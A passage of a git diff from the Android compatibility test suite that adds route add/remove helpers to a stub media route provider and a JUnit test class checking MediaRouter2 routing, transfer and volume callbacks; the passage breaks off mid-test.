+        mRoutes.put(route.getOriginalId(), route);
+        publishRoutes();
+    }
+
+    /**
+     * Removes a route and publishes it.
+     */
+    public void removeRoute(@NonNull String routeId) {
+        Objects.requireNonNull(routeId, "routeId must not be null");
+        MediaRoute2Info route = mRoutes.get(routeId);
+        if (route != null) {
+            mRoutes.remove(routeId);
+            publishRoutes();
+        }
+    }
+
     void maybeDeselectRoute(String routeId, long requestId) {
         if (!mRouteIdToSessionId.containsKey(routeId)) {
             return;
diff --git a/tests/tests/media/src/android/media/cts/SystemMediaRouter2Test.java b/tests/tests/media/src/android/media/cts/SystemMediaRouter2Test.java
new file mode 100644
index 0000000..8de3f5d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SystemMediaRouter2Test.java
@@ -0,0 +1,1049 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.content.Context.AUDIO_SERVICE;
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
+import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
+import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
+import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SPECIAL;
+import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID1;
+import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID2;
+import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID3_SESSION_CREATION_FAILED;
+import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID4_TO_SELECT_AND_DESELECT;
+import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID5_TO_TRANSFER_TO;
+import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID_VARIABLE_VOLUME;
+import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_NAME2;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.media.AudioManager;
+import android.media.MediaRoute2Info;
+import android.media.MediaRouter2;
+import android.media.MediaRouter2.ControllerCallback;
+import android.media.MediaRouter2.RouteCallback;
+import android.media.MediaRouter2.RoutingController;
+import android.media.MediaRouter2.TransferCallback;
+import android.media.MediaRouter2Manager;
+import android.media.RouteDiscoveryPreference;
+import android.media.RoutingSessionInfo;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.LargeTest;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
+@LargeTest
+@NonMediaMainlineTest
+public class SystemMediaRouter2Test {
+    private static final String TAG = "SystemMR2Test";
+
+    UiAutomation mUiAutomation;
+    Context mContext;
+    private MediaRouter2 mSystemRouter2ForCts;
+    private MediaRouter2 mAppRouter2;
+
+    private Executor mExecutor;
+    private AudioManager mAudioManager;
+    private StubMediaRoute2ProviderService mService;
+
+    private static final int TIMEOUT_MS = 5000;
+    private static final int WAIT_MS = 2000;
+
+    private RouteCallback mAppRouterPlaceHolderCallback = new RouteCallback() {};
+
+    private final List<RouteCallback> mRouteCallbacks = new ArrayList<>();
+    private final List<TransferCallback> mTransferCallbacks = new ArrayList<>();
+
+    public static final List<String> FEATURES_ALL = new ArrayList();
+    public static final List<String> FEATURES_SPECIAL = new ArrayList();
+
+    static {
+        FEATURES_ALL.add(FEATURE_SAMPLE);
+        FEATURES_ALL.add(FEATURE_SPECIAL);
+        FEATURES_ALL.add(FEATURE_LIVE_AUDIO);
+
+        FEATURES_SPECIAL.add(FEATURE_SPECIAL);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(Manifest.permission.MODIFY_AUDIO_ROUTING);
+
+        mExecutor = Executors.newSingleThreadExecutor();
+        mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        mSystemRouter2ForCts = MediaRouter2.getInstance(mContext, mContext.getPackageName());
+        mSystemRouter2ForCts.startScan();
+
+        mAppRouter2 = MediaRouter2.getInstance(mContext);
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouteCallbacks.add(mAppRouterPlaceHolderCallback);
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback, preference);
+
+        new PollingCheck(TIMEOUT_MS) {
+            @Override
+            protected boolean check() {
+                StubMediaRoute2ProviderService service =
+                        StubMediaRoute2ProviderService.getInstance();
+                if (service != null) {
+                    mService = service;
+                    return true;
+                }
+                return false;
+            }
+        }.run();
+        mService.initializeRoutes();
+        mService.publishRoutes();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mSystemRouter2ForCts.stopScan();
+
+        MediaRouter2TestActivity.finishActivity();
+        if (mService != null) {
+            mService.clear();
+            mService = null;
+        }
+
+        // order matters (callbacks should be cleared at the last)
+        releaseAllSessions();
+        // unregister callbacks
+        clearCallbacks();
+
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testGetInstanceWithInvalidPackageName() {
+        assertNull(MediaRouter2.getInstance(mContext, "com.non.existent.package.name"));
+    }
+
+    @Test
+    public void testGetInstanceReturnsSameInstance() {
+        assertSame(mSystemRouter2ForCts,
+                MediaRouter2.getInstance(mContext, mContext.getPackageName()));
+    }
+
+    @Test
+    public void testGetClientPackageName() {
+        assertEquals(mContext.getPackageName(), mSystemRouter2ForCts.getClientPackageName());
+    }
+
+    @Test
+    public void testGetSystemController() {
+        RoutingController controller = mSystemRouter2ForCts.getSystemController();
+        assertNotNull(controller);
+        // getSystemController() should always return the same instance.
+        assertSame(controller, mSystemRouter2ForCts.getSystemController());
+    }
+
+    @Test
+    public void testGetControllerReturnsNullForUnknownId() {
+        assertNull(mSystemRouter2ForCts.getController("nonExistentControllerId"));
+    }
+
+    @Test
+    public void testGetController() {
+        String systemControllerId = mSystemRouter2ForCts.getSystemController().getId();
+        RoutingController controllerById = mSystemRouter2ForCts.getController(systemControllerId);
+        assertNotNull(controllerById);
+        assertEquals(systemControllerId, controllerById.getId());
+    }
+
+    @Test
+    public void testGetAllRoutes() throws Exception {
+        waitAndGetRoutes(FEATURE_SPECIAL);
+
+        // Regardless of whether the app router registered its preference,
+        // getAllRoutes() will return all the routes.
+        boolean routeFound = false;
+        for (MediaRoute2Info route : mSystemRouter2ForCts.getAllRoutes()) {
+            if (route.getFeatures().contains(FEATURE_SPECIAL)) {
+                routeFound = true;
+                break;
+            }
+        }
+        assertTrue(routeFound);
+    }
+
+    @Test
+    public void testGetRoutes() throws Exception {
+        // Since the app router haven't registered any preference yet,
+        // only the system routes will come out after creation.
+        assertTrue(mSystemRouter2ForCts.getRoutes().isEmpty());
+
+        waitAndGetRoutes(FEATURE_SPECIAL);
+
+        boolean routeFound = false;
+        for (MediaRoute2Info route : mSystemRouter2ForCts.getRoutes()) {
+            if (route.getFeatures().contains(FEATURE_SPECIAL)) {
+                routeFound = true;
+                break;
+            }
+        }
+        assertTrue(routeFound);
+    }
+
+    @Test
+    public void testRouteCallbackOnRoutesAdded() throws Exception {
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
+
+        MediaRoute2Info routeToAdd = new MediaRoute2Info.Builder("testRouteId", "testRouteName")
+                .addFeature(FEATURE_SAMPLE)
+                .build();
+
+        CountDownLatch addedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesAdded(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getOriginalId().equals(routeToAdd.getOriginalId())
+                            && route.getName().equals(routeToAdd.getName())) {
+                        addedLatch.countDown();
+                    }
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mService.addRoute(routeToAdd);
+        assertTrue(addedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testRouteCallbackOnRoutesRemoved() throws Exception {
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
+
+        waitAndGetRoutes(FEATURE_SAMPLE);
+
+        CountDownLatch removedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesRemoved(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getOriginalId().equals(ROUTE_ID2)
+                            && route.getName().equals(ROUTE_NAME2)) {
+                        removedLatch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mService.removeRoute(ROUTE_ID2);
+        assertTrue(removedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testRouteCallbackOnRoutesChanged() throws Exception {
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
+
+        waitAndGetRoutes(FEATURE_SAMPLE);
+
+        MediaRoute2Info routeToChangeVolume = null;
+        for (MediaRoute2Info route : mSystemRouter2ForCts.getAllRoutes()) {
+            if (TextUtils.equals(ROUTE_ID_VARIABLE_VOLUME, route.getOriginalId())) {
+                routeToChangeVolume = route;
+                break;
+            }
+        }
+        assertNotNull(routeToChangeVolume);
+
+        int targetVolume = routeToChangeVolume.getVolume() + 1;
+        CountDownLatch changedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesChanged(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getOriginalId().equals(ROUTE_ID_VARIABLE_VOLUME)
+                            && route.getVolume() == targetVolume) {
+                        changedLatch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mSystemRouter2ForCts.setRouteVolume(routeToChangeVolume, targetVolume);
+        assertTrue(changedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+
+    @Test
+    public void testRouteCallbackOnRoutesChanged_whenLocalVolumeChanged() throws Exception {
+        if (mAudioManager.isVolumeFixed()) {
+            return;
+        }
+
+        waitAndGetRoutes(FEATURE_LIVE_AUDIO);
+
+        final int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
+        final int originalVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+
+        MediaRoute2Info selectedSystemRoute =
+                mSystemRouter2ForCts.getSystemController().getSelectedRoutes().get(0);
+
+        assertEquals(maxVolume, selectedSystemRoute.getVolumeMax());
+        assertEquals(originalVolume, selectedSystemRoute.getVolume());
+        assertEquals(PLAYBACK_VOLUME_VARIABLE, selectedSystemRoute.getVolumeHandling());
+
+        final int targetVolume = originalVolume == minVolume
+                ? originalVolume + 1 : originalVolume - 1;
+        final CountDownLatch latch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesChanged(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getId().equals(selectedSystemRoute.getId())
+                            && route.getVolume() == targetVolume) {
+                        latch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        try {
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
+        }
+    }
+
+    @Test
+    public void testRouteCallbackOnPreferredFeaturesChanged() throws Exception {
+        String testFeature = "testFeature";
+        List<String> testFeatures = new ArrayList<>();
+        testFeatures.add(testFeature);
+
+        CountDownLatch featuresChangedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onPreferredFeaturesChanged(List<String> preferredFeatures) {
+                if (preferredFeatures.contains(testFeature)) {
+                    featuresChangedLatch.countDown();
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(testFeatures, true).build());
+        assertTrue(featuresChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testTransferTo_succeeds_onTransferCalled() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes()).containsKey(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            List<RoutingController> controllersFromGetControllers =
+                    mSystemRouter2ForCts.getControllers();
+            assertEquals(2, controllersFromGetControllers.size());
+            assertTrue(createRouteMap(controllersFromGetControllers.get(1).getSelectedRoutes())
+                    .containsKey(ROUTE_ID1));
+
+            // onSessionCreationFailed should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testTransferTo_fails_onTransferFailureCalled() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID3_SESSION_CREATION_FAILED);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                assertEquals(route, requestedRoute);
+                failureLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(failureLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onTransfer should not be called.
+            assertFalse(successLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testTransferToTwice() throws Exception {
+        final CountDownLatch successLatch1 = new CountDownLatch(1);
+        final CountDownLatch successLatch2 = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final CountDownLatch stopLatch = new CountDownLatch(1);
+        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
+        final List<RoutingController> createdControllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                createdControllers.add(newController);
+                if (successLatch1.getCount() > 0) {
+                    successLatch1.countDown();
+                } else {
+                    successLatch2.countDown();
+                }
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+
+            @Override
+            public void onStop(RoutingController controller) {
+                stopLatch.countDown();
+            }
+        };
+
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+                @Override
+                public void onReleaseSession(long requestId, String sessionId) {
+                    onReleaseSessionLatch.countDown();
+                }
+            });
+        }
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route1 = routes.get(ROUTE_ID1);
+        MediaRoute2Info route2 = routes.get(ROUTE_ID2);
+        assertNotNull(route1);
+        assertNotNull(route2);
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route1);
+            assertTrue(successLatch1.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            mSystemRouter2ForCts.transferTo(route2);
+            assertTrue(successLatch2.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onTransferFailure/onStop should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertFalse(stopLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // Created controllers should have proper info
+            assertEquals(2, createdControllers.size());
+            RoutingController controller1 = createdControllers.get(0);
+            RoutingController controller2 = createdControllers.get(1);
+
+            assertNotEquals(controller1.getId(), controller2.getId());
+            assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
+                    ROUTE_ID1));
+            assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
+                    ROUTE_ID2));
+
+            // Should be able to release transferred controllers.
+            controller1.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(createdControllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    // Same test with testTransferTo_succeeds_onTransferCalled,
+    // but with MediaRouter2#transfer(controller, route) instead of transferTo(route).
+    @Test
+    public void testTransfer_succeeds_onTransferCalled() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transfer(mSystemRouter2ForCts.getSystemController(), route);
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            List<RoutingController> controllersFromGetControllers =
+                    mSystemRouter2ForCts.getControllers();
+            assertEquals(2, controllersFromGetControllers.size());
+            assertTrue(createRouteMap(controllersFromGetControllers.get(1).getSelectedRoutes())
+                    .containsKey(ROUTE_ID1));
+
+            // onSessionCreationFailed should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testStop() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final CountDownLatch onStopLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+            @Override
+            public void onStop(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onStopLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            mSystemRouter2ForCts.stop();
+
+            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
+            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelect);
+
+            // This call should be ignored.
+            // The onControllerUpdated() shouldn't be called.
+            controller.selectRoute(routeToSelect);
+            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // onStop should be called.
+            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerSelectAndDeselectRoute() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
+        assertNotNull(routeToBegin);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatchForSelect = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatchForDeselect = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with ROUTE_ID1
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+
+                if (onControllerUpdatedLatchForSelect.getCount() != 0) {
+                    assertEquals(2, controller.getSelectedRoutes().size());
+                    assertTrue(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID1));
+                    assertTrue(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertFalse(createRouteMap(controller.getSelectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertTrue(createRouteMap(controller.getDeselectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+                    controllers.add(controller);
+                    onControllerUpdatedLatchForSelect.countDown();
+                } else {
+                    assertEquals(1, controller.getSelectedRoutes().size());
+                    assertTrue(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID1));
+                    assertFalse(createRouteMap(controller.getSelectedRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertTrue(createRouteMap(controller.getSelectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+                    assertFalse(createRouteMap(controller.getDeselectableRoutes())
+                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+                    onControllerUpdatedLatchForDeselect.countDown();
+                }
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(routeToBegin);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+            assertTrue(createRouteMap(controller.getSelectableRoutes())
+                    .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+
+            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
+            MediaRoute2Info routeToSelectAndDeselect = routes.get(
+                    ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelectAndDeselect);
+
+            controller.selectRoute(routeToSelectAndDeselect);
+            assertTrue(onControllerUpdatedLatchForSelect.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // Note that the updated controller is a different instance.
+            assertEquals(2, controllers.size());
+            assertEquals(controllers.get(0).getId(), controllers.get(1).getId());
+            RoutingController updatedController = controllers.get(1);
+            updatedController.deselectRoute(routeToSelectAndDeselect);
+            assertTrue(onControllerUpdatedLatchForDeselect.await(
+                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerTransferToRoute() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
+        assertNotNull(routeToBegin);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with ROUTE_ID1
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                assertEquals(1, controller.getSelectedRoutes().size());
+                assertFalse(createRouteMap(controller.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                assertTrue(createRouteMap(controller.getSelectedRoutes())
+                        .containsKey(ROUTE_ID5_TO_TRANSFER_TO));
